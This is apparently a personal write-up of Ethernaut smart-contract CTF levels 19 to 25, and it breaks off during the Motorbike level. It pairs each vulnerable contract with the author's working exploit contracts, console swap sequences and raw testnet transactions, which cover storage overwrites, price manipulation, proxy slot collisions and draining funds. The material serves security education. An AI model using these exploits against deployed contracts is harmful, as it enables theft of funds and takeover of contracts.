19-27 Ethernaut CTF


19 - Alien Codex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

The goal is to claim ownership of this contract. If we look into the challenge, it inherits Ownable; hence the first slot contains owner's address, second slot: contact (bool), and third slot: length of codex array (bytes32[]). Coming to the functions, there is the make_contact() function to make the contact variable True and record function to push an item into the array and revise to edit an item inside the array. These functions require contact to be True, but the retract() function is suspicious since it is decrementing the length of the array, and we can say that this function’s functionality is not related to the context of this smart contract. However, since this contract is not using Safemath multiple times, calling the retract() function can lead to an underflow of the length variable, and we can make the length of to 2^256. We can edit every slot of this smart contract’s memory. So we can become the owner by editing the first slot and replacing it with our address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface AlienCodex {

function make_contact() external;

function record(bytes32 _content) external;

function retract() external;

function revise(uint i, bytes32 _content) external;
}

contract Exploit {

AlienCodex ac;

constructor(address _address){
ac = AlienCodex(_address);
ac.make_contact();
ac.record(bytes32(bytes2(0xffff)));
ac.retract();
ac.retract();
ac.revise(0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a,bytes32(2**255 ^ 2**160 ^ uint256(uint160(msg.sender))));
// In [93]: hex( 2**256 - int(io.soliditySha3(abi_types=['uint256'],values=[1]).hex(),16))
// Out[93]: '0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a'
}

}

20 - Denial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

In this challenge, we partner need to block the owner from withdrawing the funds. Since we cannot use revert() like last time in the King challenge because this contract uses call instead of transfer. One way is to drain out the funds in the form of gas fee and the other easiest way is to use throw that is depreciated in the latest versions of solidity.

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0;


contract Exploit {

function() external {
throw;
}
}

21 - Shop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

In this challenge, we need to overwrite the price variable to be less than 100, but it is impossible since the contract checks if the _buyer.price() > price. since we are the _buyer and we can make a smart contract that sends a high price during check and a low price while overriding, this can be done by tracking the isSold variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Shop {

function buy() external;

function isSold() external view returns(bool);
}

contract Exploit {

Shop s;

constructor(address _address){
s = Shop(_address);
}

function exploit() public{
s.buy();
}

function price() public view returns(uint){
return s.isSold()? 0 : 100;
}

}

22 - Dex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

To complete this challenge, we must drain at least one type of token from the two available tokens from the contract. Since the swap price is dependent on the balance of 2 tokens we can swap a token which has less balance to get more tokens for low price. Doing this repeatedly, we can drain out all 110 tokens

1
2
3
4
5
6
-> swap 1 request: tkn2; a:0,b:20
-> swap 1 request: tkn1; a:24,b:0
-> swap 1 request: tkn2; a:0,b:30
-> swap 1 request: tkn1; a:41,b:0
-> swap 1 request: tkn2; a:0,b:65
-> swap 1 request: tkn1; a:110,b:20
1
2
3
4
5
6
7
8
9
await contract.approve(instance, 110)
await contract.swap(await contract.token1(), await contract.token2(), 10)
await contract.swap(await contract.token2(), await contract.token1(), 20)
await contract.swap(await contract.token1(), await contract.token2(), 24)
await contract.swap(await contract.token2(), await contract.token1(), 30)
await contract.swap(await contract.token1(), await contract.token2(), 41)
await contract.swap(await contract.token2(), await contract.token1(), 45)
await contract.balanceOf(await contract.token1(), player) // -> 110
await contract.balanceOf(await contract.token2(), player) // -> 20

23 - Dex Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

This is the same dex challenge without a check inside the swap function that allows us to swap any token instead of being limited to only two tokens, this allows us to control the swap price to whatever we want. Sending only one token of our own to the challenge contract can give us all the tokens. So first, I created a token with 4 as totalSupply, approved them for my address and the instance address, and sent one token to the contract. Now the swap price for the swap from my own_token to token1 will be 100/1 * 1, which is 100 and I get 100 of token1 for just one token of my, similarly for the second swap the swap price will be 100/2 * 2 which is also 100, and I get all the tokens.

1
2
3
4
5
6
var token_own = "0x07e491A192F73AF5e584A89a86A99F97a48bE6c9"
await contract.approve(instance,110)
await contract.swap(token_own, await contract.token1(), 1)
await contract.swap(token_own, await contract.token2(), 2)
await contract.balanceOf(await contract.token1(), player) // -> 110
await contract.balanceOf(await contract.token2(), player) // -> 20

24 - Puzzle Wallet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}

modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

This contract uses an upgradable proxy, so they can change the logic of the contract if needed. This wallet contract has multicall functionality, which checks if we are making multiple donations in the same call. Looking at that made me suspicious since the msg.value does not change. Calling the deposit function increases the funds multiple times of msg.value without sending them to the wallet multiple times, so if we can increase our funds without actually paying them, we can withdraw all the contract funds. However, the contract checks if we call the deposit function multiple times. However, if we made a multicall to recure itself, it is possible to call deposite multiple times since the function checks the depositCalled bool. It is inside the multicall function. Calling a multicall inside a multicall, the depositCalled bool will be reset to false. However, we cannot do all this without becoming whitelisted, and we cannot be whitelisted unless we become the owner of this contract. This can be achieved because the proxy contract has an address variable named pendingAdmin located at the same slot as the owner variable in the logic contract since the proxy uses the delegatecall if it becomes the pendingAdmin of the proxy contract. We become the owner of the logic contract allowing us to become whitelisted and drain the funds. However, our goal is to claim ownership of the proxy contract. To achieve that, we can set maxBalance to our address similarly to pendingAdmin, and owner, maxBalance, and Admin are in the same slot, and changing the maxBalance to our address changes the Admin in the proxy contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212

In [547]: proposeadmin_selector = io.soliditySha3(abi_types=['string'],values=['proposeNewAdmin(address)'])[:4].hex()

In [548]: proposeadmin_selector
Out[548]: '0xa6376746'

In [549]: calldata = proposeadmin_selector + pub[2:].zfill(64)

In [550]: calldata
Out[550]: '0xa637674600000000000000000000000025Bf651a048be8420997944C92c80e5064C1c5d6'

In [551]: tx = {'to': ad, 'from': pub, 'data': calldata, 'chainId': 11155111, 'nonce': io.eth.get_transaction_count(pub), 'gasPrice': io.eth.gas_price}
t
In [552]: tx['gas'] = io.eth.estimate_gas(tx)

In [553]: tx
Out[553]:
{'to': '0xbb404C0948221a9AE98eDfc25D5B75B89150DC1A',
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'data': '0xa637674600000000000000000000000025Bf651a048be8420997944C92c80e5064C1c5d6',
'chainId': 11155111,
'nonce': 338,
'gasPrice': 2500000007,
'gas': 26158}

In [554]: stx = io.eth.account.sign_transaction(tx,p)

In [555]: hsh = io.eth.send_raw_transaction(stx.rawTransaction)

In [556]: io.eth.wait_for_transaction_receipt(hsh)
Out[556]:
AttributeDict({'blockHash': HexBytes('0xe5e93b3acaeb9470e03fa62e389a9c3786272bbd2d6ce555d159c9ea5a248cfc'),
'blockNumber': 2383194,
'contractAddress': None,
'cumulativeGasUsed': 23966,
'effectiveGasPrice': 2500000007,
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'gasUsed': 23966,
'logs': [],
'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'),
'status': 1,
'to': '0xbb404C0948221a9AE98eDfc25D5B75B89150DC1A',
'transactionHash': HexBytes('0x94e4ff6939b4cb9b3c1f492a480fa7f4302e616e90674b86289e3556aa3f7d31'),
'transactionIndex': 0,
'type': '0x0'})

In [557]: io.eth.get_storage_at(ad,0)
Out[557]: HexBytes('0x00000000000000000000000025bf651a048be8420997944c92c80e5064c1c5d6')

In [558]: addtowhitelist_selector = io.soliditySha3(abi_types=['string'],values=['addToWhitelist(address)'])[:4].hex()

In [559]: addtowhitelist_selector
Out[559]: '0xe43252d7'

In [560]: calldata = addtowhitelist_selector + pub[2:].zfill(64)

In [561]: calldata
Out[561]: '0xe43252d700000000000000000000000025Bf651a048be8420997944C92c80e5064C1c5d6'

In [562]: tx = {'to': ad, 'from': pub, 'data': calldata, 'chainId': 11155111, 'nonce': io.eth.get_transaction_count(pub), 'gasPrice': io.eth.gas_price}

In [563]: tx['gas'] = io.eth.estimate_gas(tx)

In [564]: tx
Out[564]:
{'to': '0xbb404C0948221a9AE98eDfc25D5B75B89150DC1A',
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'data': '0xe43252d700000000000000000000000025Bf651a048be8420997944C92c80e5064C1c5d6',
'chainId': 11155111,
'nonce': 339,
'gasPrice': 2500000007,
'gas': 33483}

In [565]: stx = io.eth.account.sign_transaction(tx,p)

In [566]: hsh = io.eth.send_raw_transaction(stx.rawTransaction)

In [567]: io.eth.get_storage_at(ad,0)
Out[567]: HexBytes('0x00000000000000000000000025bf651a048be8420997944c92c80e5064c1c5d6')

In [568]: io.eth.wait_for_transaction_receipt(hsh)
Out[568]:
AttributeDict({'blockHash': HexBytes('0xc83921ff00d4046f14c2bf24365c1aa0fb6158e0678329b630b58bfed5dcda70'),
'blockNumber': 2383196,
'contractAddress': None,
'cumulativeGasUsed': 31218,
'effectiveGasPrice': 2500000007,
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'gasUsed': 31218,
'logs': [],
'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'),
'status': 1,
'to': '0xbb404C0948221a9AE98eDfc25D5B75B89150DC1A',
'transactionHash': HexBytes('0xbf6f02cb48561e75a2972dc7ed8a77bbca502947d647e575e0f93fd7d57b14fb'),
'transactionIndex': 0,
'type': '0x0'})

In [569]: calldata = '''0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000
...: 0000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
...: 00000000000000000000000000a4ac9650d800000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000
...: 00000200000000000000000000000000000000000000000000000000000000000000004d0e30db00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'''

In [570]: tx = {'to': ad, 'from': pub, 'data': calldata, 'chainId': 11155111, 'nonce': io.eth.get_transaction_count(pub), 'gasPrice': io.eth.gas_price}

In [571]: io.eth.get_balance(ad)
Out[571]: 1000000000000000

In [572]: tx = {'to': ad, 'from': pub, 'data': calldata, 'chainId': 11155111, 'nonce': io.eth.get_transaction_count(pub), 'gasPrice': io.eth.gas_price, 'value': io.eth.get_balance(ad)}

In [573]: tx['gas'] = io.eth.estimate_gas(tx)

In [574]: tx
Out[574]:
{'to': '0xbb404C0948221a9AE98eDfc25D5B75B89150DC1A',
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'data': '0xac9650d800000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004d0e30db00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4ac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'chainId': 11155111,
'nonce': 340,
'gasPrice': 2500000007,
'value': 1000000000000000,
'gas': 64207}

In [575]: stx = io.eth.account.sign_transaction(tx,p)

In [576]: hsh = io.eth.send_raw_transaction(stx.rawTransaction)

In [577]: io.eth.wait_for_transaction_receipt(hsh)
Out[577]:
AttributeDict({'blockHash': HexBytes('0x43c6b94d62f24476fe8f06976b35d1332511918cf1f00138947959ede1b72138'),
'blockNumber': 2383204,
'contractAddress': None,
'cumulativeGasUsed': 61724,
'effectiveGasPrice': 2500000007,
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'gasUsed': 61724,
'logs': [],
'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'),
'status': 1,
'to': '0xbb404C0948221a9AE98eDfc25D5B75B89150DC1A',
'transactionHash': HexBytes('0x81d0d7075c855e6432f37526b8aa506660e0f431f10d253878fa17c64a6b65af'),
'transactionIndex': 0,
'type': '0x0'})

In [578]: io.eth.get_balance(ad)
Out[578]: 2000000000000000

In [579]: calldata = '''0xb61d27f600000000000000000000000025bf651a048be8420997944c92c80e5064c1c5d600000000000000000000000000000000000000000000000000071afd498d000000000000000000000000000000000000000000000000000000000000000000600000000
...: 000000000000000000000000000000000000000000000000000000000'''

In [580]: tx = {'to': ad, 'from': pub, 'data': calldata, 'chainId': 11155111, 'nonce': io.eth.get_transaction_count(pub), 'gasPrice': io.eth.gas_price}

In [581]: tx['gas'] = io.eth.estimate_gas(tx)

In [582]: stx = io.eth.account.sign_transaction(tx,p)

In [583]: hsh = io.eth.send_raw_transaction(stx.rawTransaction)

In [584]: io.eth.wait_for_transaction_receipt(hsh)
Out[584]:
AttributeDict({'blockHash': HexBytes('0x7a7a2f5db57ae7c8e485686fe796c3263ab73fd949d68b3c2dcf344f6b8216f0'),
'blockNumber': 2383220,
'contractAddress': None,
'cumulativeGasUsed': 37158,
'effectiveGasPrice': 2500000007,
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'gasUsed': 37158,
'logs': [],
'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'),
'status': 1,
'to': '0xbb404C0948221a9AE98eDfc25D5B75B89150DC1A',
'transactionHash': HexBytes('0x015cfc32c92f00a41cdbc72d8d3bb120a2276bb02a53d9395c09e47e34d350fa'),
'transactionIndex': 0,
'type': '0x0'})

In [585]: io.eth.get_balance(ad)
Out[585]: 0


In [586]: setmaxbalance_selector = io.soliditySha3(abi_types=['string'],values=['setMaxBalance(uint256)'])[:4].hex()

In [587]: setmaxbalance_selector
Out[587]: '0x9d51d9b7'

In [592]: calldata = setmaxbalance_selector + pub[2:].zfill(64)

In [593]: calldata
Out[593]: '0x9d51d9b700000000000000000000000025Bf651a048be8420997944C92c80e5064C1c5d6'

In [594]: tx = {'to': ad, 'from': pub, 'data': calldata, 'chainId': 11155111, 'nonce': io.eth.get_transaction_count(pub), 'gasPrice': io.eth.gas_price}

In [595]: tx['gas'] = io.eth.estimate_gas(tx)

In [596]: stx = io.eth.account.sign_transaction(tx,p)

In [597]: hsh = io.eth.send_raw_transaction(stx.rawTransaction)

In [599]: io.eth.wait_for_transaction_receipt(hsh)
Out[599]:
AttributeDict({'blockHash': HexBytes('0xaacdaa8ad4732671a8bfcf4ce6024a4d9f5290b2750a6b192e474c9499f54f76'),
'blockNumber': 2383250,
'contractAddress': None,
'cumulativeGasUsed': 387033,
'effectiveGasPrice': 2500000007,
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'gasUsed': 33863,
'logs': [],
'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'),
'status': 1,
'to': '0xbb404C0948221a9AE98eDfc25D5B75B89150DC1A',
'transactionHash': HexBytes('0x41a43e208ed44d90dab73ee0f270b2c4979afcee54f1896f0b9d995d36011024'),
'transactionIndex': 4,
'type': '0x0'})

25 - Motorbike

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

To complete this challenge, we need to selfdestruct the Engine contract and make it unusable. Let us look at the contract _upgradeToAndCall. The function sets the newImplementation and delegatecall’s it with the given data, so we can make our contract with the selfdestruct function and make the Engine contract execute selfdestruct delegately the engine contract gets destroyed. However, to run the upgradeToAndCall function, we need to be the upgrader set in the initialize function, which has the initializer modifier. If we check the Initializable contract, the modifier initializer does not track the owner. Anyone, a contract’s constructor or an externally owned account, can call the initialize function. Since we can call the initialize function, we can become the upgrader and call the upgradeToAndCall function to our contract and execute the selfdestruct function to achieve our goal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

In [636]: ad = '0x44b8d7b44f7DecE5204ddB076549e73E63C5133c'

In [637]: io.eth.get_storage_at(ad,0)
Out[637]: HexBytes('0x000000000000000000003a78ee8462bd2e31133de2b8f1f9cbd973d6edd60001')

In [638]: io.eth.get_storage_at(ad,0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
Out[638]: HexBytes('0x000000000000000000000000e1a018e5720c1d6599bb58213fa8f2188803949f')

In [639]: io.toChecksumAddress('0xe1a018e5720c1d6599bb58213fa8f2188803949f')
Out[639]: '0xe1a018E5720c1D6599Bb58213fA8f2188803949f'

In [640]: ad = '0xe1a018E5720c1D6599Bb58213fA8f2188803949f'

In [641]: io.eth.get_storage_at(ad,0)
Out[641]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000')

In [642]: initialize_selector = io.soliditySha3(abi_types=['string'],values=['initialize()'])[:4].hex()

In [643]: initialize_selector
Out[643]: '0x8129fc1c'

In [644]: calldata = initialize_selector.ljust(74,'0')

In [645]: calldata
